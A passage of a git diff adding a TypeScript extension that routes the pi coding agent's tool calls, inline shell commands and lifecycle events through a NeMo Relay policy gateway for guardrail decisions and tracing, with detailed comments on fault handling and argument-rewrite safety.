const cached = pristineCatalog.get(provider); + if (cached) return cached; + const all = ctx.modelRegistry?.getAll?.() ?? []; + const models = all.filter((candidate) => candidate.provider === provider); + pristineCatalog.set(provider, models); + return models; + }; + + /** + * Point the active model's provider at the gateway, when that is safe. + * + * Runs on `session_start` and again on every `model_select`, because the + * decision is per-model: switching from a provider the gateway fronts to one + * it does not must not leave the new provider redirected. Each outcome is + * reported to the gateway as a mark, so a trace with no LLM spans says why in + * the trace itself rather than only in the user's terminal. + */ + const applyRedirect = (ctx: ExtensionContext, source: string): void => { + const active = ensureConfig(ctx); + redirect ??= redirectConfigFromEnv(active.url); + + // The join key is baked into the registration, so it cannot follow a session + // replacement on its own. pi `v0.84.0` tears the extension runtime down and + // builds a fresh one for `/new`, `/resume` and `/fork`, so this branch does not + // fire there -- it is kept for a host that reuses one runtime across session + // ids, which would otherwise leave every redirected provider stamping the old + // one onto its requests. Re-register when it moves. + const sessionKey = safeSessionId(ctx); + if (registeredSessionKey !== null && registeredSessionKey !== sessionKey) { + redirectedProviders.clear(); + } + registeredSessionKey = sessionKey; + const decision = decideRedirect( + ctx.model, + redirect, + redirectedProviders, + ctx.model ? siblingsOf(ctx, ctx.model.provider) : [], + ); + if (decision.kind === 'redirect') { + // `baseUrl` rewrites the URL of every existing model for this provider and + // keeps their API and costs. `headers` carries two things the gateway needs + // from a redirected call: the session join key, and -- when the launcher + // started this gateway -- its transparent-proxy credential. + // + // Both go here rather than in a `before_provider_headers` handler because + // that hook is **global and carries no request identity**: its event has + // only the headers, and its context is freshly built, so `ctx.model` is + // whatever is selected *now*, not what this request is for. Scoping on it + // gets both directions wrong -- omitting the key from a redirected call + // whose model was captured before a switch, and leaking an internal session + // id, or the credential, to a third-party provider we deliberately did not + // redirect. Attaching them to the registration makes the scope structural: + // only providers we actually pointed at the gateway ever send either. + // + // Without the credential the redirect succeeds and every model call then + // comes back 401 -- a gateway started by `nemo-relay run` authenticates its + // own client before any intercept can rewrite the route. + pi.registerProvider(decision.provider, { + baseUrl: redirect.gatewayUrl, + headers: { + 'x-nemo-relay-session-id': sessionKey, + ...(redirect.proxyToken ? { 'x-nemo-relay-proxy-token': redirect.proxyToken } : {}), + }, + }); + redirectedProviders.add(decision.provider); + } + // A transient skip -- no model resolved yet, or a provider already pointed + // at the gateway -- explains nothing, and a mark per session_start for it + // is noise in every trace. + if (!isNotable(decision)) return; + emit(ctx, { + hook_event_name: 'model_redirect', + source, + outcome: decision.kind, + // The stable identifier, alongside the prose. Docs tell operators to interpret + // these codes, so a consumer must not have to pattern-match a human sentence. + ...(decision.kind === 'skip' ? { code: decision.code } : {}), + reason: decision.reason, + ...(decision.provider ? { provider: decision.provider } : {}), + ...(decision.api ? { model_api: decision.api } : {}), + ...(decision.kind === 'redirect' ? { upstream: decision.upstream } : {}), + ...(ctx.model ? { model_id: ctx.model.id } : {}), + ...attribution(), + }); + }; + + // --------------------------------------------------------------------------- + // Session lifecycle + // + // pi's session_start/session_shutdown are the session boundary, NOT + // agent_start/agent_end -- one pi session re-enters the agent run many times, + // so treating agent_start as a session start would open a session per retry. + // --------------------------------------------------------------------------- + + pi.on('session_start', async (event: SessionStartEvent, ctx: ExtensionContext) => { + emit(ctx, { hook_event_name: 'session_start', reason: event.reason, cwd: ctx.cwd }); + applyRedirect(ctx, 'session_start'); + }); + + /** + * Re-evaluate on every model switch. + * + * pi fires this for the initial selection too, so a session that resolves its + * model after `session_start` is still covered. + */ + pi.on('model_select', async (_event: ModelSelectEvent, ctx: ExtensionContext) => { + applyRedirect(ctx, 'model_select'); + }); + + /** + * Only some shutdown reasons actually end the session. + * + * `/reload` tears down and rebuilds the extension runtime while the session + * itself continues, with the same session id. Forwarding a session end there + * closes the gateway's session scope, and the `session_start` that follows + * opens a second one -- silently splitting one logical session into two + * disconnected traces. `quit` and the three session-replacement reasons + * (`new`, `resume`, `fork`) do end the session and are forwarded. + * + * Known limitation: `attemptIndex` and `turnSeq` live in this factory's + * closure, and pi re-runs the factory on reload with `moduleCache: false`, so + * they restart at 0 mid-session. Rebuilding them would mean replaying the + * session, which is out of scope here; `turn_seq` is therefore monotonic + * within a runtime, not strictly within a session. + */ + pi.on('session_shutdown', async (event: SessionShutdownEvent, ctx: ExtensionContext) => { + if (event.reason === 'reload') { + // Still drain: posts already queued belong to the continuing session. + await chain; + return; + } + emit(ctx, { + hook_event_name: 'session_shutdown', + reason: event.reason, + ...(event.targetSessionFile ? { target_session_file: event.targetSessionFile } : {}), + }); + // Drain before the process exits, or trailing spans are lost. Because the + // queue is serial, this also guarantees session_shutdown is the last post + // to reach the gateway rather than merely one of the last. + await chain; + }); + + // --------------------------------------------------------------------------- + // Agent-run lifecycle + // --------------------------------------------------------------------------- + + pi.on('agent_start', async (_event: AgentStartEvent, ctx: ExtensionContext) => { + emit(ctx, { hook_event_name: 'agent_start', attempt_index: attemptIndex }); + attemptIndex += 1; + }); + + pi.on('agent_end', async (event: AgentEndEvent, ctx: ExtensionContext) => { + emit(ctx, { + hook_event_name: 'agent_end', + // Deliberately not a run boundary: pi may re-enter after this. + attempt_index: Math.max(0, attemptIndex - 1), + message_count: Array.isArray(event.messages) ? event.messages.length : 0, + }); + }); + + pi.on('agent_settled', async (_event: AgentSettledEvent, ctx: ExtensionContext) => { + emit(ctx, { + hook_event_name: 'agent_settled', + // Two different facts, both wanted: `attempts` is how many attempts the + // run took, `attempt_index` is the last of them. Sending only the count + // made this the one hook a consumer filtering on `attempt_index` missed. + attempts: attemptIndex, + ...attribution(), + }); + attemptIndex = 0; + }); + + pi.on('turn_start', async (event: TurnStartEvent, ctx: ExtensionContext) => { + const seq = turnSeq; + turnSeq += 1; + await emitOrdered(ctx, { + hook_event_name: 'turn_start', + // pi's turn_index resets to 0 on re-entry; turn_seq does not, so a + // consumer can still order turns across the whole session. + turn_index: event.turnIndex, + turn_seq: seq, + attempt_index: Math.max(0, attemptIndex - 1), + }); + }); + + pi.on('turn_end', async (event: TurnEndEvent, ctx: ExtensionContext) => { + await emitOrdered(ctx, { + hook_event_name: 'turn_end', + // pi carries turn_index on the close but not turn_seq, so the close could + // not be matched to its own open across a re-entry, where turn_index 0 + // appears once per attempt. + turn_index: event.turnIndex, + ...attribution(), + }); + }); + + // --------------------------------------------------------------------------- + // Compaction + // + // Only `session_compact` is a compaction *event* to the gateway; the runtime + // treats one as proof the context was rebuilt and marks the agent fresh so + // the next model call records full context rather than a delta. That effect + // is latent until pi's model traffic is routed through the gateway, but the + // boundary is recorded now either way. + // --------------------------------------------------------------------------- + + /** + * Announced, not yet done, and cancellable by any extension loading after + * this one -- so it is forwarded as a mark. Its `willRetry` is the only + * advance notice pi gives an extension that the agent run is about to + * re-enter; `agent_end` carries no such marker. + * + * Returns nothing on purpose: a returned object is how pi's API spells + * "cancel this compaction, or replace its result". + */ + pi.on('session_before_compact', async (event: SessionBeforeCompactEvent, ctx) => { + emit(ctx, { + hook_event_name: 'session_before_compact', + reason: event.reason, + will_retry: event.willRetry, + tokens_before: event.preparation?.tokensBefore, + is_split_turn: event.preparation?.isSplitTurn, + ...attribution(), + }); + }); + + pi.on('session_compact', async (event: SessionCompactEvent, ctx) => { + emit(ctx, { + hook_event_name: 'session_compact', + reason: event.reason, + will_retry: event.willRetry, + from_extension: event.fromExtension, + tokens_before: event.compactionEntry?.tokensBefore, + ...attribution(), + }); + }); + + // --------------------------------------------------------------------------- + // Tool lifecycle + // --------------------------------------------------------------------------- + + /** + * Fires before validation and before `tool_call`, and also for calls that + * never execute. Recorded only so `tool_execution_end` can name its tool; it + * is deliberately not forwarded as a tool start, because doing so would open + * gateway spans for calls pi then discards. + */ + pi.on('tool_execution_start', async (event: ToolExecutionStartEvent, _ctx: ExtensionContext) => { + toolNames.set(event.toolCallId, event.toolName); + }); + + /** + * The governance seam, and the only hook that blocks. + * + * Trap: `emitToolCall` returns on the first `{block: true}`, so an + * earlier-loading extension can block before this handler runs. The call is + * still blocked, but nothing is evaluated and the gateway never sees it. + */ + pi.on( + 'tool_call', + async ( + event: ToolCallEvent, + ctx: ExtensionContext, + ): Promise => { + const active = ensureConfig(ctx); + // Enqueued rather than posted directly, so any observability hook fired + // earlier in the same turn reaches the gateway first and the tool span + // opens under the right turn. + const outcome = await enqueue(() => + postHook(active, { + hook_event_name: 'tool_call', + tool_call_id: event.toolCallId, + tool_name: event.toolName, + input: event.input, + ...attribution(), + }), + ); + + const decision = + outcome.kind === 'fault' ? resolveFault(active, outcome, event.toolName) : outcome; + + if (decision.kind === 'block') return { block: true, reason: decision.reason }; + + // Allowed. A request intercept may still have rewritten the arguments, in which case they + // arrive in the response body and pi expects them applied to `event.input` in place. + if (decision.kind === 'allow' && decision.body) { + const transform = decideTransform(decision.body, event.toolCallId, event.input); + if (transform.kind === 'refuse') { + // Blocking, not falling back: running the original arguments would discard a policy + // decision. Distinct from a guardrail rejection, and the reason says so. + return { block: true, reason: refusalReason(event.toolName, transform.reason) }; + } + if (transform.kind === 'apply') { + applyTransform(event.input, transform.input); + emit(ctx, { + hook_event_name: 'tool_arguments_transformed', + tool_call_id: event.toolCallId, + tool_name: event.toolName, + ...attribution(), + }); + } + } + + // `undefined` is the only correct allow value: a truthy result without + // `block` is inert but overwrites earlier handlers' results. + return undefined; + }, + ); + + /** + * The tool end boundary for every outcome. + * + * `tool_result` does not fire for blocked calls -- they take pi's + * `kind: "immediate"` path and never reach `afterToolCall` -- but + * `tool_execution_end` always fires, with `isError: true`. So this is the only + * hook that closes both allowed and blocked calls. + */ + pi.on('tool_execution_end', async (event: ToolExecutionEndEvent, ctx: ExtensionContext) => { + const toolName = event.toolName || toolNames.get(event.toolCallId) || 'unknown'; + toolNames.delete(event.toolCallId); + emit(ctx, { + hook_event_name: 'tool_execution_end', + tool_call_id: event.toolCallId, + tool_name: toolName, + result: summarize(event.result, event.isError), + status: event.isError ? 'error' : 'ok', + ...attribution(), + }); + }); + + // --------------------------------------------------------------------------- + // Inline shell + // --------------------------------------------------------------------------- + + /** Close the gate span, whatever the outcome, so the trace stays balanced. */ + const endUserBash = ( + ctx: ExtensionContext, + callId: string, + // `policy-allowed` rather than `ok`: pi reports no completion for inline shell, + // so the gate knows what it decided and never what happened. + status: 'policy-allowed' | 'error', + content: string, + ): void => { + emit(ctx, { + hook_event_name: USER_BASH_END_HOOK, + tool_call_id: callId, + tool_name: USER_BASH_TOOL_NAME, + result: { content }, + status, + ...attribution(), + }); + }; + + /** + * The second governance seam: pi's bang-prefixed inline shell. + * + * `!cmd` and `!!cmd` bypass the tool registry entirely -- they reach + * `emitUserBash`, not `tool_call` -- so nothing about the tool gate covers + * them. This closes that gap using the gateway machinery that already exists: + * the command is posted as a tool start named `user_bash`, so the same + * conditional-execution guardrail chain decides it and the same 403 contract + * carries the reason back. + * + * Three pi facts shape every line of this handler. + * + * 1. **There is no block-and-reason contract.** A refusal is a synthetic + * failed `BashResult` and pi records it exactly as if the command had run. + * See `src/user-bash.ts` for the shape and why those field values. + * 2. **`emitUserBash` catches**, so throwing fails *open* and the command + * runs unchecked. Nothing here is allowed to escape; the catch resolves an + * internal failure through the same policy as an unreachable gateway. + * 3. **The first handler to return anything wins.** Loaded with `-e` this one + * is first; installed with `pi install` it loads last and an earlier + * extension can preempt it, in which case the gateway never sees the + * command at all. + * + * What the gate does *not* do is observe the command. pi has no completion + * hook for inline shell -- `user_bash` is the only one -- so on an allow the + * span closes immediately and measures the policy round trip, not the + * command. Taking execution over to fix that would mean supplying pi with + * custom `operations`, which drops the user's configured shell path and pi's + * process-tree cancellation; the sidecar does not change how pi runs things. + */ + pi.on( + 'user_bash', + async ( + event: UserBashEvent, + ctx: ExtensionContext, + ): Promise => { + const callId = `user-bash-${userBashSeq++}`; + try { + const active = ensureConfig(ctx); + // Enqueued like `tool_call`, so a turn boundary posted earlier in the + // same turn reaches the gateway first. + const outcome = await enqueue(() => + postHook(active, { + hook_event_name: USER_BASH_HOOK, + tool_call_id: callId, + tool_name: USER_BASH_TOOL_NAME, + input: { + command: event.command, + cwd: event.cwd, + // `!!` keeps the command and its output out of the model's + // context, including the output of a refusal. A policy may + // reasonably care. + exclude_from_context: event.excludeFromContext, + }, + ...attribution(), + }), + ); + + const decision = + outcome.kind === 'fault' + ? resolveFault(active, outcome, USER_BASH_TOOL_NAME) + : outcome; + + if (decision.kind === 'block') { + endUserBash(ctx, callId, 'error', decision.reason); + return { result: refusalResult(decision.reason) }; + } + + // An intercept rewrote the command. pi's result type can replace the + // result or the execution backend but never the command itself, so the + // rewrite cannot be honored -- and running the original would discard + // the policy decision. Refuse, and say which of the two it is. + if (decision.kind === 'allow' && decision.body?.tool_call?.input !== undefined) { + const reason = transformRefusalReason(); + endUserBash(ctx, callId, 'error', reason); + return { result: refusalResult(reason) }; + } + + // Deliberately not `ok`: pi has not run the command yet, and has no completion + // hook to tell us how it went. It can still fail, and a later `user_bash` + // handler can replace execution entirely -- so claiming success here would put + // a false outcome in the trace. What we know is what we decided. + endUserBash(ctx, callId, 'policy-allowed', 'Allowed by policy; pi has not reported the outcome.'); + // `undefined` is the only correct allow value: any object at all is a + // result or an operations override, and either would stop pi running + // the command as the user typed it. + return undefined; + } catch (error) { + // Reached only if something inside this handler failed -- `postHook` + // resolves its own transport errors. Failing open here would be silent, + // so it is resolved as a fault under the configured policy instead. + // + // The policy is re-read rather than defaulted: if `ensureConfig` is + // what failed then `config` is still null, and hard-coding fail-open + // there would override an explicit `NEMO_RELAY_PI_FAIL=closed` -- the + // one case where an operator has asked for exactly this to block. + const detail = error instanceof Error ? error.message : String(error); + const fault = resolveFault( + config ?? configFromEnv(safeSessionId(ctx)), + // `handler`, not a transport failure: the gateway was never asked. Saying it could + // not be reached would send the reader to a socket that is fine. + { kind: 'fault', origin: 'handler', detail: `the inline-shell gate failed: ${detail}` }, + USER_BASH_TOOL_NAME, + ); + if (fault.kind === 'block') return { result: refusalResult(fault.reason) }; + return undefined; + } + }, + ); +} + +/** pi's session id, with a fallback so a missing manager cannot break loading. */ +function safeSessionId(ctx: ExtensionContext): string { + try { + return ctx.sessionManager?.getSessionId?.() ?? 'unknown-session'; + } catch { + return 'unknown-session'; + } +} + +const MAX_CONTENT_CHARS = 2000; + +/** Keep forwarded tool results small and JSON-safe. */ +function summarize(result: unknown, isError: boolean): unknown { + if (result === null || result === undefined) { + return { content: isError ? 'Tool failed with no result.' : 'Tool completed with no result.' }; + } + if (typeof result === 'string') return { content: truncate(result) }; + if (typeof result === 'object') { + const record = result as Record; + const content = record.content ?? record.output ?? record.text; + return { + content: + typeof content === 'string' + ? truncate(content) + : `Tool ${isError ? 'failed' : 'completed'}.`, + result_keys: Object.keys(record).slice(0, 20), + }; + } + return { content: truncate(String(result)) }; +} + +function truncate(value: string): string { + return value.length <= MAX_CONTENT_CHARS + ? value + : `${value.slice(0, MAX_CONTENT_CHARS)}... [truncated ${value.length - MAX_CONTENT_CHARS} chars]`; +} diff --git a/integrations/pi/package.json b/integrations/pi/package.json new file mode 100644 index 000000000..8e9b7a709 --- /dev/null +++ b/integrations/pi/package.json @@ -0,0 +1,25 @@ +{ + "name": "nemo-relay-pi", + "version": "0.8.0", + "private": true, + "description": "NeMo Relay proof-of-concept extension for the pi coding agent.", + "type": "module", + "repository": { + "type": "git", + "url": "https://github.com/NVIDIA/NeMo-Relay", + "directory": "integrations/pi" + }, + "main": "./index.ts", + "pi": { + "extensions": [ + "./index.ts" + ] + }, + "scripts": { + "typecheck": "tsc -p tsconfig.json", + "test": "node --test test/*.test.mjs" + }, + "devDependencies": { + "@types/node": "^24.0.0" + } +} diff --git a/integrations/pi/src/argument-transform.ts b/integrations/pi/src/argument-transform.ts new file mode 100644 index 000000000..c28a40efb --- /dev/null +++ b/integrations/pi/src/argument-transform.ts @@ -0,0 +1,167 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** + * Applies gateway-rewritten tool arguments to pi's `tool_call` event. + * + * A Relay request intercept can rewrite a tool's arguments. The gateway never + * runs the tool, so the rewrite comes back in the hook response and this module + * applies it to `event.input`. + * + * **Two pi facts make that dangerous, and shape everything here.** + * + * 1. *pi validates before the hook and never re-validates.* + * `validateToolArguments` returns a `structuredClone`, that clone is what + * `tool_call` receives, and pi's own types say "later `tool_call` handlers + * see earlier mutations. No re-validation is performed after mutation." So + * arguments that violate the tool's schema will execute. + * 2. *The schema is reachable, and deliberately not used.* `pi.getAllTools()` + * returns every configured tool -- built-ins included -- with its TypeBox + * `parameters` schema (pi `v0.84.0`, `core/extensions/types.ts:1334`, impl + * `core/agent-session.ts:908`). So validating locally, or forwarding the + * schema to the gateway, are both possible. They are not done because the + * tool set is per-session mutable (`setActiveTools`, `registerTool`), so a + * forwarded schema can go stale mid-session, and carrying pi's tool + * vocabulary into the gateway buys precision this transform does not need. + * + * So the transform is constrained rather than validated: it may **rewrite the + * values of existing keys, preserving each value's JSON type**, recursively. + * Adding a key, removing a key, changing a type, or changing an array's length + * is refused. An object that satisfied the schema before therefore still has + * the required keys, of the required types, afterwards. + * + * **This is a structural guarantee, not schema validation.** Value-level + * constraints -- `pattern`, `enum`, `minimum`, `format` -- are not checked. That + * is a choice, not a limit: see point 2. A transform that rewrites a string to + * one the schema would reject still executes. + * + * A refused transform **blocks the call**. Running the original arguments would + * silently discard a policy decision, which is the failure the transform + * existed to prevent; and this is a different axis from + * `NEMO_RELAY_PI_FAIL`, which governs an unreachable gateway rather than a + * gateway that answered with something unusable. + */ + +/** What the gateway sent back on an allowed `tool_call`. */ +export type TransformEnvelope = { + tool_call_id?: unknown; + input?: unknown; +}; + +export type TransformOutcome = + | { kind: 'none' } + | { kind: 'apply'; input: Record } + | { kind: 'refuse'; reason: string }; + +/** JSON type name used for the type-preservation check. `null` is its own type. */ +function jsonType(value: unknown): string { + if (value === null) return 'null'; + if (Array.isArray(value)) return 'array'; + return typeof value; +} + +/** + * Check that `next` preserves the shape of `current`. + * + * Returns null when the shape holds, or a human-readable reason when it does + * not. The reason reaches the model verbatim through pi, so it names the path. + */ +export function shapeViolation(current: unknown, next: unknown, path = 'input'): string | null { + const currentType = jsonType(current); + const nextType = jsonType(next); + if (currentType !== nextType) { + return `${path} changed type from ${currentType} to ${nextType}`; + } + if (currentType === 'object') { + const currentKeys = Object.keys(current as object).sort(); + const nextKeys = Object.keys(next as object).sort(); + const added = nextKeys.filter((key) => !currentKeys.includes(key)); + const removed = currentKeys.filter((key) => !nextKeys.includes(key)); + if (added.length > 0) return `${path} added ${added.join(', ')}`; + if (removed.length > 0) return `${path} removed ${removed.join(', ')}`; + for (const key of currentKeys) { + const violation = shapeViolation( + (current as Record)[key], + (next as Record)[key], + `${path}.${key}`, + ); + if (violation) return violation; + } + return null; + } + if (currentType === 'array') { + const currentItems = current as unknown[]; + const nextItems = next as unknown[]; + if (currentItems.length !== nextItems.length) { + return `${path} changed length from ${currentItems.length} to ${nextItems.length}`; + } + for (const [index, item] of currentItems.entries()) { + const violation = shapeViolation(item, nextItems[index], `${path}[${index}]`); + if (violation) return violation; + } + } + return null; +} + +/** + * Decide what to do with a hook response body for a given tool call. + * + * Pure, so the decision matrix is testable without pi or a gateway. + */ +export function decideTransform( + body: { tool_call?: TransformEnvelope } | null, + toolCallId: string, + current: Record, +): TransformOutcome { + const envelope = body?.tool_call; + if (!envelope || envelope.input === undefined) return { kind: 'none' }; + + // The echoed id is what proves the transform belongs to the call we just posted, so it has to be + // present and exact. Accepting a missing or non-string id would let a truncated or malformed body + // rewrite the wrong call's arguments -- the failure the echo exists to prevent. + if (typeof envelope.tool_call_id !== 'string' || envelope.tool_call_id !== toolCallId) { + const named = + typeof envelope.tool_call_id === 'string' + ? envelope.tool_call_id + : JSON.stringify(envelope.tool_call_id) ?? 'nothing'; + return { + kind: 'refuse', + reason: `the transform names tool call ${named}, not ${toolCallId}`, + }; + } + + if (jsonType(envelope.input) !== 'object') { + return { kind: 'refuse', reason: `the transform is ${jsonType(envelope.input)}, not an object` }; + } + + const violation = shapeViolation(current, envelope.input); + if (violation) return { kind: 'refuse', reason: violation }; + + return { kind: 'apply', input: envelope.input as Record }; +} + +/** + * Apply a transform to pi's event object **in place**. + * + * In place is required, not stylistic: pi passes the same object on to the tool + * and to later handlers, so replacing the reference would be discarded. Because + * the shape check has already run, this only ever overwrites existing keys. + */ +export function applyTransform( + target: Record, + input: Record, +): void { + for (const [key, value] of Object.entries(input)) { + target[key] = value; + } +} + +/** The block reason used when a transform arrives but cannot be applied safely. */ +export function refusalReason(toolName: string, detail: string): string { + return ( + `A NeMo Relay policy rewrote the arguments for this ${toolName} call, but the rewrite could ` + + `not be applied safely: ${detail}. The call was blocked rather than run with the original ` + + `arguments, because running them would ignore the policy. This is a configuration problem in ` + + `the policy, not a judgment about your request.` + ); +} diff --git a/integrations/pi/src/gateway-client.ts b/integrations/pi/src/gateway-client.ts new file mode 100644 index 000000000..d8bc0917f --- /dev/null +++ b/integrations/pi/src/gateway-client.ts @@ -0,0 +1,220 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** + * HTTP client for the NeMo Relay CLI gateway's `/hooks/pi` endpoint. + * + * The wire contract, verified against `crates/cli`: + * + * - **Allow** is any 2xx. The body is `{}` unless a request intercept rewrote + * the arguments, in which case it carries + * `{"tool_call": {"tool_call_id": "...", "input": {...}}}` and the caller is + * expected to execute those arguments instead. See `argument-transform.ts`. + * - **Block** is `403` with + * `{"error": {"type": "nemo_relay_guardrail_rejected", "reason": ""}}`. + * The rejection comes from the tool conditional-execution guardrail chain that + * the gateway runs in `start_tool`, and `error.reason` is the guardrail's own + * words. pi passes that string to the model verbatim as an error tool result, + * so it must be forwarded unchanged. + * - Anything else is a transport or gateway fault, and is resolved by the + * configured failure policy rather than being reported as a policy decision. + * + * pi awaits extension handlers on its critical path, so every call here is on + * the critical path of the tool it gates. Observability-only hooks are therefore + * sent without awaiting, and only the gating hook blocks. + */ + +/** Outcome of posting one hook to the gateway. */ +export type HookOutcome = + /** Allowed. `body` carries a rewritten payload when a request intercept produced one. */ + | { kind: 'allow'; body?: { tool_call?: { tool_call_id?: unknown; input?: unknown } } } + | { kind: 'block'; reason: string } + /** + * Neither a verdict nor a usable success. + * + * `origin` says where it went wrong, because all four send whoever reads the + * block somewhere different and they all block identically under + * `NEMO_RELAY_PI_FAIL=closed`. A single "could not be reached" was wrong for + * three of them. + */ + | { kind: 'fault'; detail: string; origin: FaultOrigin }; + +/** + * Where a fault happened, which is what a reader has to know to act on it. + * + * - `transport` -- nothing answered. The gateway is down, or the URL is wrong. + * - `timeout` -- nothing answered *in time*. The gateway may be up and slow, and + * posts are serialized, so a gate also waits out everything queued ahead of it. + * - `response` -- the gateway answered, and the answer was not a decision: a + * rejected payload, an unreadable body, a 403 with no guardrail marker. + * - `handler` -- the gateway was never asked. This extension threw. + */ +export type FaultOrigin = 'transport' | 'timeout' | 'response' | 'handler'; + +/** The fault arm of {@link HookOutcome}, named so a caller can build one. */ +export type HookFault = Extract; + +export type GatewayConfig = { + /** Base URL of the gateway, e.g. `http://127.0.0.1:4040`. */ + url: string; + /** Per-request timeout in milliseconds. */ + timeoutMs: number; + /** + * What to do when the gateway cannot be reached or errors. + * + * `open` lets the tool run; `closed` blocks it. Defaults to `open` because a + * dead sidecar should not brick the user's agent, matching how the shipped + * `hooks.json` files use `--fail-open` for everything except the pre-tool and + * permission events. + */ + onFault: 'open' | 'closed'; + /** Session identifier sent with every payload. */ + sessionId: string; +}; + +const GUARDRAIL_REJECTION_TYPE = 'nemo_relay_guardrail_rejected'; + +/** Build the routing-identity headers the gateway expects. */ +function headers(config: GatewayConfig): Record { + return { + 'content-type': 'application/json', + // The gateway strips inbound routing-identity headers as an anti-spoofing + // measure and re-derives its own, so this is the only session signal that + // survives -- it must also appear in the payload. + 'x-nemo-relay-session-id': config.sessionId, + }; +} + +/** + * Post one hook and wait for the verdict. + * + * Used only for the gating hook (`tool_call`). Everything else should use + * {@link postAndForget} so pi's critical path is not charged an extra round + * trip for an observability-only event. + */ +export async function postHook( + config: GatewayConfig, + payload: Record, +): Promise { + const controller = new AbortController(); + const timer = setTimeout(() => controller.abort(), config.timeoutMs); + try { + const response = await fetch(`${config.url}/hooks/pi`, { + method: 'POST', + headers: headers(config), + body: JSON.stringify({ session_id: config.sessionId, ...payload }), + signal: controller.signal, + }); + + if (response.ok) { + // An allow body is `{}` unless a request intercept rewrote the arguments -- so a body we + // cannot read is NOT a plain allow. It may have carried a transform, and treating it as an + // empty allow would run the original arguments while silently discarding a policy decision: + // exactly the failure a refused transform blocks the call to prevent. An unreadable success + // is an infrastructure fault, resolved by `NEMO_RELAY_PI_FAIL` like any other. + const body = await safeJson(response); + if (body === null || typeof body !== 'object' || Array.isArray(body)) { + return { + kind: 'fault', + origin: 'response', + detail: 'gateway returned a success body that is not a JSON object', + }; + } + return { kind: 'allow', body }; + } + + if (response.status === 403) { + const body = await safeJson(response); + const error = body?.error; + if (error?.type === GUARDRAIL_REJECTION_TYPE && typeof error.reason === 'string') { + return { kind: 'block', reason: error.reason }; + } + // A 403 without the guardrail marker is an authorization fault, not a + // policy decision; do not present it to the model as one. + return { kind: 'fault', origin: 'response', detail: `gateway returned 403 without a guardrail reason` }; + } + + return { kind: 'fault', origin: 'response', detail: `gateway returned HTTP ${response.status}` }; + } catch (error) { + const timedOut = error instanceof Error && error.name === 'AbortError'; + const detail = timedOut + ? `gateway did not respond within ${config.timeoutMs}ms` + : `gateway request failed: ${error instanceof Error ? error.message : String(error)}`; + // A timeout is not an unreachable gateway. It may be up and slow, and because posts are + // serialized a gate also waits out everything queued ahead of it -- so the remedy is the + // timeout value or the gateway's speed, not the socket. + return { kind: 'fault', origin: timedOut ? 'timeout' : 'transport', detail }; + } finally { + clearTimeout(timer); + } +} + +/** + * Post one hook without waiting for it. + * + * Returns a promise that never rejects, so a failed observability post cannot + * surface as an unhandled rejection inside pi's TUI. Callers should collect + * these and await them at session shutdown so nothing is lost on exit. + */ +export function postAndForget( + config: GatewayConfig, + payload: Record, +): Promise { + return postHook(config, payload).then( + () => undefined, + () => undefined, + ); +} + +/** Resolve a fault into an allow/block decision using the configured policy. */ +export function resolveFault( + config: GatewayConfig, + fault: HookFault, + toolName: string, +): HookOutcome { + if (config.onFault === 'open') return { kind: 'allow' }; + // One opening per origin, one tail. The tail is the part a model has to act on and it is + // the same for all four: nothing judged the request, so the request is not what to change. + // The openings differ because they are debugged in four different places, and "could not + // be reached" said of a gateway that replied 413 sends the reader to the one thing that is + // working. This string reaches the model verbatim, so it is also what the user reads. + const openings: Record = { + transport: `The NeMo Relay policy gateway could not be reached to authorize this ${toolName} call`, + timeout: `The NeMo Relay policy gateway did not answer in time to authorize this ${toolName} call`, + response: `The NeMo Relay policy gateway answered this ${toolName} call without a usable decision`, + handler: `The NeMo Relay policy gate failed before it could authorize this ${toolName} call`, + }; + const opening = openings[fault.origin]; + return { + kind: 'block', + reason: + `${opening}, so it was blocked rather than allowed through unchecked. This is an ` + + `infrastructure fault, not a judgment about the request. Details: ${fault.detail}`, + }; +} + +async function safeJson(response: Response): Promise<{ + error?: Record; + tool_call?: { tool_call_id?: unknown; input?: unknown }; +} | null> { + try { + return (await response.json()) as { + error?: Record; + tool_call?: { tool_call_id?: unknown; input?: unknown }; + }; + } catch { + return null; + } +} + +/** Read gateway configuration from the environment the CLI's launcher sets. */ +export function configFromEnv(sessionId: string): GatewayConfig { + const url = (process.env.NEMO_RELAY_PI_GATEWAY_URL ?? 'http://127.0.0.1:4040').replace(/\/+$/, ''); + const timeoutRaw = Number(process.env.NEMO_RELAY_PI_TIMEOUT_MS); + return { + url, + timeoutMs: Number.isFinite(timeoutRaw) && timeoutRaw > 0 ? timeoutRaw : 5000, + onFault: process.env.NEMO_RELAY_PI_FAIL === 'closed' ? 'closed' : 'open', + sessionId, + }; +} diff --git a/integrations/pi/src/pi-hook-types.ts b/integrations/pi/src/pi-hook-types.ts new file mode 100644 index 000000000..4d7f5232b --- /dev/null +++ b/integrations/pi/src/pi-hook-types.ts @@ -0,0 +1,265 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** + * Structural mirror of the subset of pi's extension API this integration uses. + * + * Mirrored from pi `v0.84.0` (`a5f43bf8a`), + * `packages/coding-agent/src/core/extensions/types.ts`. Declaring the shapes + * locally -- the same approach `integrations/openclaw/src/openclaw-hook-types.ts` + * takes for its host agent -- keeps this directory buildable without depending + * on the pi package, which matters because pi ships breaking changes through + * *minor* releases and has no major-release channel. + * + * Unlike OpenClaw, pi *does* publish these declarations -- `ToolCallEvent`, + * `ToolCallEventResult`, `ExtensionAPI` and `ProviderConfig` all come out of + * `@earendil-works/pi-coding-agent`'s package root. Importing them is declined on + * cost, not availability. That package is the entire agent -- TUI, provider + * stack, a wasm image codec -- and it ships an `npm-shrinkwrap.json` pinning + * ~140 further packages, every one of which would land in this repository's + * lockfile and in the Node license inventory the license-diff job walks, to type + * a file that erases to nothing at runtime. The shapes below are also + * deliberately *wider* than pi's: `toolName: string` with + * `input: Record` accepts every member of pi's per-tool + * `ToolCallEvent` union, which is what lets `src/argument-transform.ts` write + * gateway-supplied keys without narrowing per tool. + * + * The version and commit above are the contract that keeps this in step. On a pi + * bump, re-read that file and re-run `just test-pi`. Re-verify these signatures + * before relying on them; a silent shape change would show up as missing spans, + * not a type error. + */ + +/** Fired when an agent loop starts. Carries no run identifier. */ +export type AgentStartEvent = { type: 